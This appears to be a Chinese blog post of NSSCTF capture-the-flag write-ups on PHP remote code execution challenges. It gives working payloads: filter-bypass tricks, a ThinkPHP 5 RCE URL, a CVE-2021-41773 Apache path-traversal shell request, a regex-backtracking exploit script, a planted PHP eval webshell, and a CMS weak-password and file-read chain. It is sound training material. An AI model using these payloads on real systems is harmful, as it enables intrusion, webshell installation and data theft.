NSSCTF RCE模块


[SWPUCTF 2021 新生赛]hardrce

<?php
header("Content-Type:text/html;charset=utf-8");
error_reporting(0);
highlight_file(__FILE__);
if(isset($_GET['wllm']))
{
    $wllm = $_GET['wllm'];
    $blacklist = [' ','\t','\r','\n','\+','\[','\^','\]','\"','\-','\$','\*','\?','\<','\>','\=','\`',];
    foreach ($blacklist as $blackitem)
    {
        if (preg_match('/' . $blackitem . '/m', $wllm)) {
        die("LTLT说不能用这些奇奇怪怪的符号哦!");
    }}
if(preg_match('/[a-zA-Z]/is',$wllm))
{
    die("Ra's Al Ghul说不能用字母哦!");
}
echo "NoVic4说:不错哦小伙子,可你能拿到flag吗?";
eval($wllm);
}
else
{
    echo "蔡总说:注意审题!!!";
}
?> 蔡总说:注意审题!!!

取反绕过即可,采用system函数执行命令
比如想要执行eval(system(ls))
采用脚本取反
<?php echo urlencode(~“system”); ?>
得到:%8C%86%8C%8B%9A%92
同理ls取反后得到:%93%8C
写入时:?wllm=(~%8C%86%8C%8B%9A%92)(~%93%8C);

<?php
$code1="system";
$code2="ls /";
echo "<br>";
echo "?wllm=(~".urlencode(~$code1).")(~".urlencode(~$code2).");";
?>
?wllm=(~%8C%86%8C%8B%9A%92)(~%93%8C%DF%D0);

在这里插入图片描述

然后再cat 就可以了。

在这里插入图片描述


[SWPUCTF 2022 新生赛]ez_rce

源码里什么都没有,查备份文件
robots.txt

在这里插入图片描述

访问/NSS/index.php/

在这里插入图片描述

搜一下ThinkPHP V5漏洞,去看看怎么利用这个漏洞

利用方法:
http://node2.anna.nssctf.cn:28507/NSS/index.php/?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=ls /

在这里插入图片描述

可是直接 cat /flag 或者cat /flag/flag,都不对
用到命令 find / -name flag*这样就可以找到很多层的目录,然后cat就行或者,不过有时候find命令不是很灵。
直接cat $(find / -name flag)也可以
?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=cat $(find / -name flag)


[SWPUCTF 2021 新生赛]finalrce

<?php
highlight_file(__FILE__);
if(isset($_GET['url']))
{
    $url=$_GET['url'];
    if(preg_match('/bash|nc|wget|ping|ls|cat|more|less|phpinfo|base64|echo|php|python|mv|cp|la|\-|\*|\"|\>|\<|\%|\$/i',$url))
    {
        echo "Sorry,you can't use this.";
    }
    else
    {
        echo "Can you see anything?";
        exec($url);
    }
} 

过滤了很多东西,但是管道符没有过滤,用到了Linux的tee命令,用tee命令把想要执行的命令写进一个文档里面,再去访问这个文件就可以执行命令了。
payload:
?url=l\s / | tee 1.txt 再访问1.txt
在这里插入图片描述
a_here_is_a_f1ag里面没有flag。
?url=tac /flllll\aaaaaaggggggg | tee 2.txt


[NISACTF 2022]middlerce

在这里插入图片描述
这里过滤了很多东西,这里取反绕过和异或绕过都不行。
只能用正则最大回溯绕过,正则回溯超过100万次就会返回false,具体看P神的文章

json_decode的话,就要把command进行json格式化,[‘cmd’]表示JSON中"cmd"键对应的值。
$txw4ever是一个包含JSON数据的字符串,json_decode函数将其解码为一个关联数组,并将其赋值给$command变量,其中$command[‘cmd’]表示JSON中"cmd"键对应的值。

checkdata对一些字符串进行过滤,但是又不知道是什么

eval执行命令,但是没有echo就没有回显,用?>把前面的PHP标签进行闭合,再写一个PHP代码用来执行echo。

<??>相当于对<?php>的替换,而<?=?>则是相当于<? echo>。<??>写法需要开启short_open_tag,<?=?>则是默认开启。

import requests
url = "http://node4.anna.nssctf.cn:28607/"
data='{"cmd":"?><?= `nl /f*`?>;","overflow":"'+"-"*1000000+'"}'
resp = requests.post(url=url,data={"letter":data})
print(resp.text)

在这里插入图片描述


[SWPUCTF 2021 新生赛]hardrce_3

在这里插入图片描述
无数字和字母RCE,这里异或和取反都用不了
这里参考这篇P神的文章里的方法三

$_=[];$_=@"$_";$_=$_['!'=='@'];$___=$_;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$____='_';$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$_=$$____;$___($_[_]);

这里相当于是 ASSERT($_POST[_]);
这里还要URL编码再上传
在这里插入图片描述
成功绕过

在这里插入图片描述
可以执行命令,但是system,exec,shell_exec,popen,proc_open,passthru这些都用不了。

在这里插入图片描述
用到file_put_contents函数来写入木马
_=file_put_contents("2.php","<?php eval(\$_POST['cmd']); ?>");
这里的$符号前必须加\,这才是linux正确的写马方式,如果是<?php eval($_POST['cmd']) ?>
输出只有<?php eval() ?>,加 \ 代表转义。
蚁剑连接就得flag。
在这里插入图片描述


[UUCTF 2022 新生赛]ez_rce

居然都不输入参数,可恶!!!!!!!!!

<?php
## 放弃把,小伙子,你真的不会RCE,何必在此纠结呢????????????
if(isset($_GET['code'])){
    $code=$_GET['code'];
    if (!preg_match('/sys|pas|read|file|ls|cat|tac|head|tail|more|less|php|base|echo|cp|\$|\*|\+|\^|scan|\.|local|current|chr|crypt|show_source|high|readgzfile|dirname|time|next|all|hex2bin|im|shell/i',$code)){
        echo '看看你输入的参数!!!不叫样子!!';echo '<br>';
        eval($code);
    }
    else{
        die("你想干什么?????????");
    }
}
else{
    echo "居然都不输入参数,可恶!!!!!!!!!";
    show_source(__FILE__);
}

我的第一个想法是取反绕过,因为过滤了很多字符,但是没有过滤~

在这里插入图片描述
但是不能用。
又不能用system什么的函数,但是没有过滤printf,也没有过滤反引号。
所以payload就是?code=printf(`c\at /fffffffffflagafag`);


[NSSRound#4 SWPU]ez_rce

在这里插入图片描述
标签说是CVE-2021-41773(Apache HTTP Server路径穿越漏洞),现搜学习了一下
BP抓包,改为POST形式传入下面的payload
/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh

在这里插入图片描述
输入echo;ls /
在这里插入图片描述
echo;cat /run.sh
在这里插入图片描述
echo;cat /flag_is_here/2/0/7/6/flag

在这里插入图片描述


[GKCTF 2021]easycms

一道easy的渗透题,这道题的漏洞点挺多的。
打开题目页,页面左下角有个蝉知7.7
在这里插入图片描述

搜一下蝉知7.7,浅浅的看了一下和题目还挺像的。

在这里插入图片描述

标签说是RCE、目录穿越,题目给的页面没有什么有用的信息
扫一下目录,用dirsearch扫有点慢就换成了御剑

在这里插入图片描述

访问admin.php

在这里插入图片描述

弱口令admin/12345,还可以用BrupSuite来爆破

目录穿越

然后找到设计->主题->随便一个模板->自定义

在这里插入图片描述

这个地方页头是可以进行编辑的。这里随便写然后保存

在这里插入图片描述

然后找到设计->组件->素材库这里有一个文件上传的点

在这里插入图片描述
这里随便上传一个txt文件,然后进行编辑

在这里插入图片描述
在这里插入图片描述

改成上面这个样子 ../../../../../system/tmp/rioq,就是刚刚爆出来的绝对路径去掉后缀,然后保存。
再回到刚刚的地方

在这里插入图片描述

保存后点击可视化编辑

在这里插入图片描述
试试看<?php eval(system("ls /")); ?>

在这里插入图片描述

最后就是cat /flag就出来了
还有另一个就是跟前面搜的博客里的方法一样,也是目录穿越,在设计->高级这个地方也可以插入恶意代码。

任意文件读取

这个是比较多人写的。
就是是找设计->主题->随便一个模板->自定义->导出模板->保存
在这里插入图片描述
这里疑似是任意文件读取,抓个包
在这里插入图片描述
这一抓不到这样的包的话,就Forward一次。
base64解码得/var/www/html/system/tmp/theme/default/sb.zip
下载文件的绝对路径,把路径换成 /flag
在这里插入图片描述
在这里插入图片描述
拿下。

  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值